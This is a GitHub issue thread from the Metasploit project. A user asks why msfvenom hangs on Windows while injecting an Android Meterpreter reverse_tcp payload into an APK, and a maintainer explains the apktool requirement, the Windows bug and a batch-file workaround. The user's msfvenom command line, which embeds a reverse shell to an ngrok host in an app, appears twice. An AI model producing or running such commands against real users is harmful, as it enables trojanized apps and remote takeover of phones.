msfvenom on Windows hangs using apktool

[Samshow-cyber]

Hello, someone should please help me out! I want to create a payload on my command prompt. I entered:

C:\users\USER\Downloads>msfvenom -× mymtnapp.apk -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=(port number) -o /users/USER/Desktop/mycreation.apk

I got an error message saying: apktool not found........

Why is this happening?

Originally posted by @Samshow-cyber in rapid7/metasploit-framework#11024 (comment)

[bcoles]

msfvenom requires apktool to modify APK files. apktool must be in your PATH.

[Samshow-cyber]

@bcoles How can I make the apktool be in my path?

[Samshow-cyber]

Please explain what to do

[bcoles]

rapid7/metasploit-framework#13264

[Samshow-cyber]

So do you mean I will download the apktool on my system?

[Samshow-cyber]

@bcoles I solved the apktool issue after making some researches. But I have another issue ongoing.

I'm trying to add payload to an apk file. I followed the normal command format and processed the command in the CMD. This is what I got:

Using apk template: theapk.apk
[-] No platform was selected, choosing Msf::module::platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from payload

And after that, nothing more... the command prompt it still processing (still blinking the white dash)

Please why is this happening? Please help!

[bcoles]

I'm trying to add payload to an apk file. I followed the normal command format and processed the command in the CMD. This is what I got:

what command did you use

[Samshow-cyber]

I used this:

C:\users\USER\Desktop>msfvenom -× mymtnapp.apk -p android/meterpreter/reverse_tcp LHOST=2.tcp.ngrok.io LPORT=(port number) -o /users/USER/Desktop/mycreation.apk

[Samshow-cyber]

This is a picture... it has been there for about 1hr ago

[Samshow-cyber]

@bcoles @adfoster-r7 what do you think happened?

[Samshow-cyber]

@bcoles I'm seriously waiting on your response please

[bcoles]

@bcoles I solved the apktool issue after making some researches. But I have another issue ongoing.

I'm trying to add payload to an apk file. I followed the normal command format and processed the command in the CMD. This is what I got:

Using apk template: theapk.apk
[-] No platform was selected, choosing Msf::module::platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from payload

And after that, nothing more... the command prompt it still processing (still blinking the white dash)

Please why is this happening? Please help!

Freezes for me too. Tested on Windows 11. Pressing ctrl+c simply prints Error:.

It is freezing when attempting to execute apktool -version. Given that msfvenom makes multiple references to apktool (not apktool.bat I suspect msfvenom is not expected to work with apk files on Windows.

Looks like a dupe of rapid7/metasploit-framework#15219 which is a dupe of rapid7/metasploit-framework#13289.

[bcoles]

There's a legitimate bug here. But I'm not sure when/if it will be fixed.

As it seems you're in a hurry, the fastest approach would be to install Metasploit on a Linux system. A huge portion of users use Kali Linux. Kali is most likely the most thoroughly tested Linux system for using Metasploit.

You can install Kali in a virtual machine on Windows using VirtualBox or VMware Player.

[bcoles]

apktool.bat for Windows pauses if run in non-interactive mode.

A simple workaround is to exit before this check, or simply remove the check:

exit
rem Pause when ran non interactively
for /f "tokens=2" %%# in ("%cmdcmdline%") do if /i "%%#" equ "/c" pause

However, I still suggest using Linux. If you do want to use Windows, you'll also have to set up jarsigner, zipalign and keytool.